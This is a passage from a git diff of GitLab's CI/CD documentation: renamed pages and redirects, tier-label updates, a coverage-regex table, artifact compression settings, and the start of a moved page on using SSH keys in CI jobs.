Methods to reduce Docker image size: to analyze and shrink images. To simplify Docker image management, you can create a dedicated group for managing -[Docker images](../docker/README.md) and test, build and publish them with CI/CD pipelines. +[Docker images](../docker/index.md) and test, build and publish them with CI/CD pipelines. ## Test, document, and learn diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md index cddfcb754ec..a8e310c1f0d 100644 --- a/doc/ci/pipelines/schedules.md +++ b/doc/ci/pipelines/schedules.md @@ -6,7 +6,7 @@ disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/schedules. type: reference, howto --- -# Pipeline schedules +# Pipeline schedules **(FREE)** > - Introduced in GitLab 9.1 as [Trigger Schedule](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10533). > - [Renamed to Pipeline Schedule](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10853) in GitLab 9.2. @@ -83,7 +83,7 @@ job: - make build ``` -### Advanced configuration +### Advanced configuration **(FREE SELF)** The pipelines are not executed exactly on schedule because schedules are handled by Sidekiq, which runs according to its interval. diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index 5a758bccd62..32221b78039 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -63,12 +63,12 @@ if the job surpasses the threshold, it is marked as failed. Project defined timeout (either specific timeout set by user or the default 60 minutes timeout) may be [overridden for runners](../runners/README.md#set-maximum-job-timeout-for-a-runner). -## Maximum artifacts size **(CORE ONLY)** +## Maximum artifacts size **(FREE SELF)** For information about setting a maximum artifact size for a project, see [Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size). -## Custom CI configuration path +## Custom CI/CD configuration path > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12509) in GitLab 9.4. > - [Support for external `.gitlab-ci.yml` locations](https://gitlab.com/gitlab-org/gitlab/-/issues/14376) introduced in GitLab 12.6. @@ -80,7 +80,7 @@ To customize the path: 1. Go to the project's **Settings > CI / CD**. 1. Expand the **General pipelines** section. -1. Provide a value in the **Custom CI configuration path** field. +1. Provide a value in the **CI/CD configuration file** field. 1. Click **Save changes**. If the CI configuration is stored within the repository in a non-default @@ -131,8 +131,23 @@ averaged.  -A few examples of known coverage tools for a variety of languages can be found -in the pipelines settings page. +<!-- vale gitlab.Spelling = NO --> + +| Coverage Tool | Sample regular expression | +|------------------------------------------------|---------------------------| +| Simplecov (Ruby) | `\(\d+.\d+\%\) covered` | +| pytest-cov (Python) | `^TOTAL.+?(\d+\%)$` | +| Scoverage (Scala) | `Statement coverage[A-Za-z\.*]\s*:\s*([^%]+)` | +| `phpunit --coverage-text --colors=never` (PHP) | `^\s*Lines:\s*\d+.\d+\%` | +| gcovr (C/C++) | `^TOTAL.*\s+(\d+\%)$` | +| `tap --coverage-report=text-summary` (NodeJS) | `^Statements\s*:\s*([^%]+)` | +| `nyc npm test` (NodeJS) | `All files[^|]*\|[^|]*\s+([\d\.]+)` | +| excoveralls (Elixir) | `\[TOTAL\]\s+(\d+\.\d+)%` | +| `mix test --cover` (Elixir) | `\d+.\d+\%\s+\|\s+Total` | +| JaCoCo (Java/Kotlin) | `Total.*?([0-9]{1,3})%` | +| `go test -cover` (Go) | `coverage: \d+.\d+% of statements` | + +<!-- vale gitlab.Spelling = YES --> ### Code Coverage history @@ -143,7 +158,7 @@ To see the evolution of your project code coverage over time, you can view a graph or download a CSV file with this data. From your project: 1. Go to **{chart}** **Project Analytics > Repository** to see the historic data for each job listed in the dropdown above the graph. -1. If you want a CSV file of that data, click **Download raw data (.csv)** +1. If you want a CSV file of that data, click **Download raw data (`.csv`)**  @@ -198,7 +213,7 @@ If **Public pipelines** is disabled: - For **private** projects, only project members (reporter or higher) can view the pipelines or access the related features. -## Auto-cancel pending pipelines +## Auto-cancel redundant pipelines > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9362) in GitLab 9.1. @@ -206,7 +221,7 @@ You can set pending or running pipelines to cancel automatically when a new pipe 1. Go to **Settings > CI / CD**. 1. Expand **General Pipelines**. -1. Check the **Auto-cancel redundant, pending pipelines** checkbox. +1. Check the **Auto-cancel redundant pipelines** checkbox. 1. Click **Save changes**. Use the [`interruptible`](../yaml/README.md#interruptible) keyword to indicate if a @@ -336,9 +351,9 @@ https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_te  -## Environment Variables +## CI/CD Variables -[Environment variables](../variables/README.md#gitlab-cicd-environment-variables) can be set in an environment to be available to a runner. +[CI/CD variables](../variables/README.md) can be set to be available to a runner. <!-- ## Troubleshooting diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index e9c85353db3..c94d6e3ea80 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -1,157 +1,8 @@ --- -stage: Verify -group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference +redirect_to: 'index.md' --- -# Get started with GitLab CI/CD +This document was moved to [another location](index.md). -Use this document to get started with -GitLab [continuous integration](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/). - -Before you start, make sure you have: - -- A project in GitLab that you would like to use CI/CD for. -- Maintainer or owner access for the project. - -If you are migrating from another CI/CD tool, view this documentation: - -- [Migrate from CircleCI](../migration/circleci.md). -- [Migrate from Jenkins](../migration/jenkins.md). - -## CI/CD process overview - -To use GitLab CI/CD: - -1. [Ensure you have runners available](#ensure-you-have-runners-available) to run your jobs. - If you don't have a runner, [install GitLab Runner](https://docs.gitlab.com/runner/install/) - and [register a runner](https://docs.gitlab.com/runner/register/) for your instance, project, or group. -1. [Create a `.gitlab-ci.yml` file](#create-a-gitlab-ciyml-file) - at the root of your repository. This file is where you define your CI/CD jobs. - -When you commit the file to your repository, the runner runs your jobs. -The job results [are displayed in a pipeline](#view-the-status-of-your-pipeline-and-jobs). - -### Ensure you have runners available - -In GitLab, runners are agents that run your CI/CD jobs. - -You might already have runners available for your project, including -[shared runners](../runners/README.md#shared-runners), which are -available to all projects in your GitLab instance. - -To view available runners: - -- Go to **Settings > CI/CD** and expand **Runners**. - -As long as you have at least one runner that's active, with a green circle next to it, -you have a runner available to process your jobs. - -If no runners are listed on the **Runners** page in the UI, you or an administrator -must [install GitLab Runner](https://docs.gitlab.com/runner/install/) and -[register](https://docs.gitlab.com/runner/register/) at least one runner. - -If you are testing CI/CD, you can install GitLab Runner and register runners on your local machine. -When your CI/CD jobs run, they run on your local machine. - -### Create a `.gitlab-ci.yml` file - -The `.gitlab-ci.yml` file is a [YAML](https://en.wikipedia.org/wiki/YAML) file where -you configure specific instructions for GitLab CI/CD. - -In this file, you define: - -- The structure and order of jobs that the runner should execute. -- The decisions the runner should make when specific conditions are encountered. - -For example, you might want to run a suite of tests when you commit to -any branch except `master`. When you commit to `master`, you want -to run the same suite, but also publish your application. - -All of this is defined in the `.gitlab-ci.yml` file. - -To create a `.gitlab-ci.yml` file: - -1. Go to **Project overview > Details**. -1. Above the file list, select the branch you want to commit to, - click the plus icon, then select **New file**: - -  - -1. For the **Filename**, type `.gitlab-ci.yml` and in the larger window, - paste this sample code: - - ```yaml - build-job: - stage: build - script: - - echo "Hello, $GITLAB_USER_LOGIN!" - - test-job1: - stage: test - script: - - echo "This job tests something" - - test-job2: - stage: test - script: - - echo "This job tests something, but takes more time than test-job1." - - echo "After the echo commands complete, it runs the sleep command for 20 seconds" - - echo "which simulates a test that runs 20 seconds longer than test-job1" - - sleep 20 - - deploy-prod: - stage: deploy - script: - - echo "This job deploys something from the $CI_COMMIT_BRANCH branch." - ``` - - `$GITLAB_USER_LOGIN` and `$CI_COMMIT_BRANCH` are - [predefined variables](../variables/predefined_variables.md) - that populate when the job runs. - -1. Click **Commit changes**. - -The pipeline starts when the commit is committed. - -#### `.gitlab-ci.yml` tips - -- If you want the runner to use a Docker image to run the jobs, edit the `.gitlab-ci.yml` file - to include your image name: - - ```yaml - default: - image: ruby:2.7.2 - ``` - - This command tells the runner to use a Ruby image from Docker Hub. - -- To validate your `.gitlab-ci.yml` file, use the - [CI Lint tool](../lint.md), which is available in every project. -- You can also use [CI/CD configuration visualization](../pipeline_editor/index.md#visualize-ci-configuration) to - view a graphical representation of your `.gitlab-ci.yml` file. -- For the complete `.gitlab-ci.yml` syntax, see - [the `.gitlab-ci.yml` reference topic](../yaml/README.md). - -### View the status of your pipeline and jobs - -When you committed your changes, a pipeline started. - -To view your pipeline: - -- Go **CI/CD > Pipelines**. - - A pipeline with three stages should be displayed: - -  - -- To view a visual representation of your pipeline, click the pipeline ID. - -  - -- To view details of a job, click the job name, for example, `deploy-prod`. - -  - -If the job status is `stuck`, check to ensure a runner is probably configured for the project. +<!-- This redirect file can be deleted after 2021-05-01. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md new file mode 100644 index 00000000000..711bf0c0e7a --- /dev/null +++ b/doc/ci/quick_start/index.md @@ -0,0 +1,157 @@ +--- +stage: Verify +group: Continuous Integration +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Get started with GitLab CI/CD **(FREE)** + +Use this document to get started with +GitLab [continuous integration](https://about.gitlab.com/stages-devops-lifecycle/continuous-integration/). + +Before you start, make sure you have: + +- A project in GitLab that you would like to use CI/CD for. +- Maintainer or owner access for the project. + +If you are migrating from another CI/CD tool, view this documentation: + +- [Migrate from CircleCI](../migration/circleci.md). +- [Migrate from Jenkins](../migration/jenkins.md). + +## CI/CD process overview + +To use GitLab CI/CD: + +1. [Ensure you have runners available](#ensure-you-have-runners-available) to run your jobs. + If you don't have a runner, [install GitLab Runner](https://docs.gitlab.com/runner/install/) + and [register a runner](https://docs.gitlab.com/runner/register/) for your instance, project, or group. +1. [Create a `.gitlab-ci.yml` file](#create-a-gitlab-ciyml-file) + at the root of your repository. This file is where you define your CI/CD jobs. + +When you commit the file to your repository, the runner runs your jobs. +The job results [are displayed in a pipeline](#view-the-status-of-your-pipeline-and-jobs). + +### Ensure you have runners available + +In GitLab, runners are agents that run your CI/CD jobs. + +You might already have runners available for your project, including +[shared runners](../runners/README.md#shared-runners), which are +available to all projects in your GitLab instance. + +To view available runners: + +- Go to **Settings > CI/CD** and expand **Runners**. + +As long as you have at least one runner that's active, with a green circle next to it, +you have a runner available to process your jobs. + +If no runners are listed on the **Runners** page in the UI, you or an administrator +must [install GitLab Runner](https://docs.gitlab.com/runner/install/) and +[register](https://docs.gitlab.com/runner/register/) at least one runner. + +If you are testing CI/CD, you can install GitLab Runner and register runners on your local machine. +When your CI/CD jobs run, they run on your local machine. + +### Create a `.gitlab-ci.yml` file + +The `.gitlab-ci.yml` file is a [YAML](https://en.wikipedia.org/wiki/YAML) file where +you configure specific instructions for GitLab CI/CD. + +In this file, you define: + +- The structure and order of jobs that the runner should execute. +- The decisions the runner should make when specific conditions are encountered. + +For example, you might want to run a suite of tests when you commit to +any branch except `master`. When you commit to `master`, you want +to run the same suite, but also publish your application. + +All of this is defined in the `.gitlab-ci.yml` file. + +To create a `.gitlab-ci.yml` file: + +1. Go to **Project overview > Details**. +1. Above the file list, select the branch you want to commit to, + click the plus icon, then select **New file**: + +  + +1. For the **Filename**, type `.gitlab-ci.yml` and in the larger window, + paste this sample code: + + ```yaml + build-job: + stage: build + script: + - echo "Hello, $GITLAB_USER_LOGIN!" + + test-job1: + stage: test + script: + - echo "This job tests something" + + test-job2: + stage: test + script: + - echo "This job tests something, but takes more time than test-job1." + - echo "After the echo commands complete, it runs the sleep command for 20 seconds" + - echo "which simulates a test that runs 20 seconds longer than test-job1" + - sleep 20 + + deploy-prod: + stage: deploy + script: + - echo "This job deploys something from the $CI_COMMIT_BRANCH branch." + ``` + + `$GITLAB_USER_LOGIN` and `$CI_COMMIT_BRANCH` are + [predefined variables](../variables/predefined_variables.md) + that populate when the job runs. + +1. Click **Commit changes**. + +The pipeline starts when the commit is committed. + +#### `.gitlab-ci.yml` tips + +- If you want the runner to use a Docker image to run the jobs, edit the `.gitlab-ci.yml` file + to include your image name: + + ```yaml + default: + image: ruby:2.7.2 + ``` + + This command tells the runner to use a Ruby image from Docker Hub. + +- To validate your `.gitlab-ci.yml` file, use the + [CI Lint tool](../lint.md), which is available in every project. +- You can also use [CI/CD configuration visualization](../pipeline_editor/index.md#visualize-ci-configuration) to + view a graphical representation of your `.gitlab-ci.yml` file. +- For the complete `.gitlab-ci.yml` syntax, see + [the `.gitlab-ci.yml` reference topic](../yaml/README.md). + +### View the status of your pipeline and jobs + +When you committed your changes, a pipeline started. + +To view your pipeline: + +- Go **CI/CD > Pipelines**. + + A pipeline with three stages should be displayed: + +  + +- To view a visual representation of your pipeline, click the pipeline ID. + +  + +- To view details of a job, click the job name, for example, `deploy-prod`. + +  + +If the job status is `stuck`, check to ensure a runner is probably configured for the project. diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md index 3512b77e4e2..9de6a1162bd 100644 --- a/doc/ci/review_apps/index.md +++ b/doc/ci/review_apps/index.md @@ -58,7 +58,7 @@ The process of configuring Review Apps is as follows: 1. Set up the infrastructure to host and deploy the Review Apps (check the [examples](#review-apps-examples) below). 1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a runner to do deployment. -1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI environment variable](../variables/README.md) `${CI_COMMIT_REF_NAME}` +1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI/CD variable](../variables/README.md) `${CI_COMMIT_REF_NAME}` to create dynamic environments and restrict it to run only on branches. Alternatively, you can get a YML template for this job by [enabling review apps](#enable-review-apps-button) for your project. 1. Optionally, set a job that [manually stops](../environments/index.md#stopping-an-environment) the Review Apps. @@ -180,18 +180,19 @@ After you have the route mapping set up, it takes effect in the following locati - In the diff for a merge request, comparison, or commit. -  +  - In the blob file view. -  +  -## Visual Reviews **(STARTER)** +## Visual Reviews **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10761) in GitLab Starter 12.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10761) in GitLab 12.0. +> - [Moved](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) to GitLab Premium in 13.9. > - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default. > - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-visual-reviews). **(STARTER ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-visual-reviews). **(PREMIUM SELF)** With Visual Reviews, members of any team (Product, Design, Quality, and so on) can provide feedback comments through a form in your review apps. The comments are added to the merge request that triggered the review app. @@ -242,7 +243,7 @@ looks for a project with code hosted in a project on GitLab.com: </script> ``` -Ideally, you should use [environment variables](../variables/predefined_variables.md) +Ideally, you should use [CI/CD variables](../variables/predefined_variables.md) to replace those values at runtime when each review app is created: - `data-project-id` is the project ID, which can be found by the `CI_PROJECT_ID` @@ -288,7 +289,7 @@ can supply the ID by either: - Dynamically adding the `data-merge-request-id` value during the build of the app. - Supplying it manually through the visual review form in the app. -### Enable or disable Visual Reviews **(STARTER ONLY)** +### Enable or disable Visual Reviews **(PREMIUM SELF)** Visual Reviews is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index d6ea4d83825..bf7552ad609 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -37,10 +37,10 @@ multiple projects. If you are using a self-managed instance of GitLab: -- Your administrator can install and register shared runners by [following the documentation](https://docs.gitlab.com/runner/install/index.html). - <!-- going to your project's--> - <!-- **Settings > CI / CD**, expanding the **Runners** section, and clicking **Show runner installation instructions**.--> - <!-- These instructions are also available [in the documentation](https://docs.gitlab.com/runner/install/index.html).--> +- Your administrator can install and register shared runners by + going to your project's **Settings > CI / CD**, expanding the **Runners** section, + and clicking **Show runner installation instructions**. + These instructions are also available [in the documentation](https://docs.gitlab.com/runner/install/index.html). - The administrator can also configure a maximum number of shared runner [pipeline minutes for each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota). @@ -136,10 +136,16 @@ Shared runners are automatically disabled for a project: To disable shared runners for a group: 1. Go to the group's **Settings > CI/CD** and expand the **Runners** section. -1. In the **Shared runners** area, click **Enable shared runners for this group**. +1. In the **Shared runners** area, turn off the **Enable shared runners for this group** toggle. 1. Optionally, to allow shared runners to be enabled for individual projects or subgroups, click **Allow projects and subgroups to override the group setting**. +NOTE: +To re-enable the shared runners for a group, turn on the +**Enable shared runners for this group** toggle. +Then, an owner or maintainer must explicitly change this setting +for each project subgroup or project. + ### Group runners Use *Group runners* when you want all projects in a group @@ -274,7 +280,7 @@ On GitLab.com, you cannot override the job timeout for shared runners and must u To set the maximum job timeout: 1. In a project, go to **Settings > CI/CD > Runners**. -1. Select your specific runner to edit the settings. +1. Select your specific runner to edit the settings. 1. Enter a value under **Maximum job timeout**. 1. Select **Save changes**. @@ -805,3 +811,38 @@ You can set them globally or per-job in the [`variables`](../yaml/README.md#vari ## System calls not available on GitLab.com shared runners GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library. + +## Artifact and cache settings + +> Introduced in GitLab Runner 13.9. + +Artifact and cache settings control the compression ratio of artifacts and caches. +Use these settings to specify the size of the archive produced by a job. + +- On a slow network, uploads might be faster for smaller archives. +- On a fast network where bandwidth and storage are not a concern, uploads might be faster using the fastest compression ratio, despite the archive produced being larger. + +For [GitLab Pages](../../user/project/pages/index.md) to serve +[HTTP Range requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests), artifacts +should use the `ARTIFACT_COMPRESSION_LEVEL: fastest` setting, as only uncompressed zip archives +support this feature. + +A meter can also be enabled to provide the rate of transfer for uploads and downloads. + +```yaml +variables: + # output upload and download progress every 2 seconds + TRANSFER_METER_FREQUENCY: "2s" + + # Use fast compression for artifacts, resulting in larger archives + ARTIFACT_COMPRESSION_LEVEL: "fast" + + # Use no compression for caches + CACHE_COMPRESSION_LEVEL: "fastest" +``` + +| Variable | Description | +|---------------------------------|--------------------------------------------------------| +| `TRANSFER_METER_FREQUENCY` | Specify how often to print the meter's transfer rate. It can be set to a duration (for example, `1s` or `1m30s`). A duration of `0` disables the meter (default). When a value is set, the pipeline shows a progress meter for artifact and cache uploads and downloads. | +| `ARTIFACT_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | +| `CACHE_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index f05812f77f7..eac72bc7351 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -13,7 +13,7 @@ Secrets represent sensitive information your CI job needs to complete work. This sensitive information can be items like API tokens, database credentials, or private keys. Secrets are sourced from your secrets provider. -Unlike CI variables, which are always presented to a job, secrets must be explicitly +Unlike CI/CD variables, which are always presented to a job, secrets must be explicitly required by a job. Read [GitLab CI/CD pipeline configuration reference](../yaml/README.md#secrets) for more information about the syntax. @@ -80,7 +80,7 @@ To configure your Vault server: 1. Configure roles on your Vault server, restricting roles to a project or namespace, as described in [Configure Vault server roles](#configure-vault-server-roles) on this page. -1. [Create the following CI variables](../variables/README.md#custom-environment-variables) +1. [Create the following CI/CD variables](../variables/README.md#custom-cicd-variables) to provide details about your Vault server: - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`. Required. @@ -113,8 +113,8 @@ In this example: - `ops` - The path where the secrets engine is mounted. After GitLab fetches the secret from Vault, the value is saved in a temporary file. -The path to this file is stored in environment variable named `DATABASE_PASSWORD`, -similar to [CI variables of type `file`](../variables/README.md#custom-environment-variables-of-type-file). +The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`, +similar to [variables of type `file`](../variables/README.md#custom-cicd-variables-of-type-file). For more information about the supported syntax, read the [`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault). diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md index 71c2be70de3..c94d6e3ea80 100644 --- a/doc/ci/services/README.md +++ b/doc/ci/services/README.md @@ -1,21 +1,8 @@ --- -stage: Verify -group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false -type: index +redirect_to: 'index.md' --- -# GitLab CI services examples +This document was moved to [another location](index.md). -The [`services`](../docker/using_docker_images.md#what-is-a-service) -keyword defines a Docker image that runs during a `job` linked to the -Docker image that the image keyword defines. This allows you to access -the service image during build time. - -The service image can run any application, but the most common use -case is to run a database container, for example: - -- [Using MySQL](mysql.md) -- [Using PostgreSQL](postgres.md) -- [Using Redis](redis.md) +<!-- This redirect file can be deleted after 2021-05-01. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/services/docker-services.md b/doc/ci/services/docker-services.md deleted file mode 100644 index e4653cdc9e2..00000000000 --- a/doc/ci/services/docker-services.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'README.md' ---- - -This document was moved to [another location](README.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md new file mode 100644 index 00000000000..71c2be70de3 --- /dev/null +++ b/doc/ci/services/index.md @@ -0,0 +1,21 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +comments: false +type: index +--- + +# GitLab CI services examples + +The [`services`](../docker/using_docker_images.md#what-is-a-service) +keyword defines a Docker image that runs during a `job` linked to the +Docker image that the image keyword defines. This allows you to access +the service image during build time. + +The service image can run any application, but the most common use +case is to run a database container, for example: + +- [Using MySQL](mysql.md) +- [Using PostgreSQL](postgres.md) +- [Using Redis](redis.md) diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index 1595907184e..5bd034cbf97 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -14,7 +14,7 @@ need it for your tests to run. If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor. -1. [Create variables](../variables/README.md#create-a-custom-variable-in-the-ui) for your +1. [Create CI/CD variables](../variables/README.md#create-a-custom-variable-in-the-ui) for your MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**, and clicking **Add Variable**. diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index d37875e1e05..16576069583 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -31,7 +31,7 @@ variables: To set values for the `POSTGRES_DB`, `POSTGRES_USER`, `POSTGRES_PASSWORD` and `POSTGRES_HOST_AUTH_METHOD`, -[assign them to a variable in the user interface](../variables/README.md#create-a-custom-variable-in-the-ui), +[assign them to a CI/CD variable in the user interface](../variables/README.md#create-a-custom-variable-in-the-ui), then assign that variable to the corresponding variable in your `.gitlab-ci.yml` file. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index a5410d53a95..c94d6e3ea80 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -1,212 +1,8 @@ --- -stage: Verify -group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: tutorial +redirect_to: 'index.md' --- -# Using SSH keys with GitLab CI/CD +This document was moved to [another location](index.md). -GitLab currently doesn't have built-in support for managing SSH keys in a build -environment (where the GitLab Runner runs). - -The SSH keys can be useful when: - -1. You want to checkout internal submodules -1. You want to download private packages using your package manager (e.g., Bundler) -1. You want to deploy your application to your own server, or, for example, Heroku -1. You want to execute SSH commands from the build environment to a remote server -1. You want to rsync files from the build environment to a remote server - -If anything of the above rings a bell, then you most likely need an SSH key. - -The most widely supported method is to inject an SSH key into your build -environment by extending your `.gitlab-ci.yml`, and it's a solution which works -with any type of [executor](https://docs.gitlab.com/runner/executors/) -(Docker, shell, etc.). - -## How it works - -1. Create a new SSH key pair locally with [`ssh-keygen`](https://linux.die.net/man/1/ssh-keygen) -1. Add the private key as a [variable](../variables/README.md) to - your project -1. Run the [`ssh-agent`](https://linux.die.net/man/1/ssh-agent) during job to load - the private key. -1. Copy the public key to the servers you want to have access to (usually in - `~/.ssh/authorized_keys`) or add it as a [deploy key](../../ssh/README.md#deploy-keys) - if you are accessing a private GitLab repository. - -The private key is displayed in the job log, unless you enable -[debug logging](../variables/README.md#debug-logging). You might also want to -check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines). - -## SSH keys when using the Docker executor - -When your CI/CD jobs run inside Docker containers (meaning the environment is -contained) and you want to deploy your code in a private server, you need a way -to access it. This is where an SSH key pair comes in handy. - -1. You first need to create an SSH key pair. For more information, follow - the instructions to [generate an SSH key](../../ssh/README.md#generating-a-new-ssh-key-pair). - **Do not** add a passphrase to the SSH key, or the `before_script` will - prompt for it. - -1. Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables). - As **Key** enter the name `SSH_PRIVATE_KEY` and in the **Value** field paste - the content of your _private_ key that you created earlier. - -1. Modify your `.gitlab-ci.yml` with a `before_script` action. In the following - example, a Debian based image is assumed. Edit to your needs: - - ```yaml - before_script: - ## - ## Install ssh-agent if not already installed, it is required by Docker. - ## (change apt-get to yum if you use an RPM-based image) - ## - - 'command -v ssh-agent >/dev/null || ( apt-get update -y && apt-get install openssh-client -y )' - - ## - ## Run ssh-agent (inside the build environment) - ## - - eval $(ssh-agent -s) - - ## - ## Add the SSH key stored in SSH_PRIVATE_KEY variable to the agent store - ## We're using tr to fix line endings which makes ed25519 keys work - ## without extra base64 encoding. - ## https://gitlab.com/gitlab-examples/ssh-private-key/issues/1#note_48526556 - ## - - echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - - - ## - ## Create the SSH directory and give it the right permissions - ## - - mkdir -p ~/.ssh - - chmod 700 ~/.ssh - - ## - ## Optionally, if you will be using any Git commands, set the user name and - ## and email. - ## - # - git config --global user.email "user@example.com" - # - git config --global user.name "User name" - ``` - - The [`before_script`](../yaml/README.md#before_script) can be set globally - or per-job. - -1. Make sure the private server's [SSH host keys are verified](#verifying-the-ssh-host-keys). - -1. As a final step, add the _public_ key from the one you created in the first - step to the services that you want to have an access to from within the build - environment. If you are accessing a private GitLab repository you need to add - it as a [deploy key](../../ssh/README.md#deploy-keys). - -That's it! You can now have access to private servers or repositories in your -build environment. - -## SSH keys when using the Shell executor - -If you are using the Shell executor and not Docker, it is easier to set up an -SSH key. - -You can generate the SSH key from the machine that GitLab Runner is installed -on, and use that key for all projects that are run on this machine. - -1. First, log in to the server that runs your jobs. - -1. Then, from the terminal, log in as the `gitlab-runner` user: - - ```shell - sudo su - gitlab-runner - ``` - -1. Generate the SSH key pair as described in the instructions to - [generate an SSH key](../../ssh/README.md#generating-a-new-ssh-key-pair). - **Do not** add a passphrase to the SSH key, or the `before_script` will - prompt for it. - -1. As a final step, add the _public_ key from the one you created earlier to the - services that you want to have an access to from within the build environment. - If you are accessing a private GitLab repository you need to add it as a - [deploy key](../../ssh/README.md#deploy-keys). - -After generating the key, try to sign in to the remote server to accept the -fingerprint: - -```shell -ssh example.com -``` - -For accessing repositories on GitLab.com, you would use `git@gitlab.com`. - -## Verifying the SSH host keys - -It is a good practice to check the private server's own public key to make sure -you are not being targeted by a man-in-the-middle attack. If anything -suspicious happens, you notice it because the job fails (the SSH -connection fails when the public keys don't match). - -To find out the host keys of your server, run the `ssh-keyscan` command from a -trusted network (ideally, from the private server itself): - -```shell -## Use the domain name -ssh-keyscan example.com - -## Or use an IP -ssh-keyscan 1.2.3.4 -``` - -Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables) with -`SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`. - -If you need to connect to multiple servers, all the server host keys -need to be collected in the **Value** of the variable, one key per line. - -NOTE: -By using a variable instead of `ssh-keyscan` directly inside -`.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml` -if the host domain name changes for some reason. Also, the values are predefined -by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail, -so there's something wrong with the server or the network. - -Now that the `SSH_KNOWN_HOSTS` variable is created, in addition to the -[content of `.gitlab-ci.yml`](#ssh-keys-when-using-the-docker-executor) -above, here's what more you need to add: - -```yaml -before_script: - ## - ## Assuming you created the SSH_KNOWN_HOSTS variable, uncomment the - ## following two lines. - ## - - echo "$SSH_KNOWN_HOSTS" >> ~/.ssh/known_hosts - - chmod 644 ~/.ssh/known_hosts - - ## - ## Alternatively, use ssh-keyscan to scan the keys of your private server. - ## Replace example.com with your private server's domain name. Repeat that - ## command if you have more than one server to connect to. - ## - # - 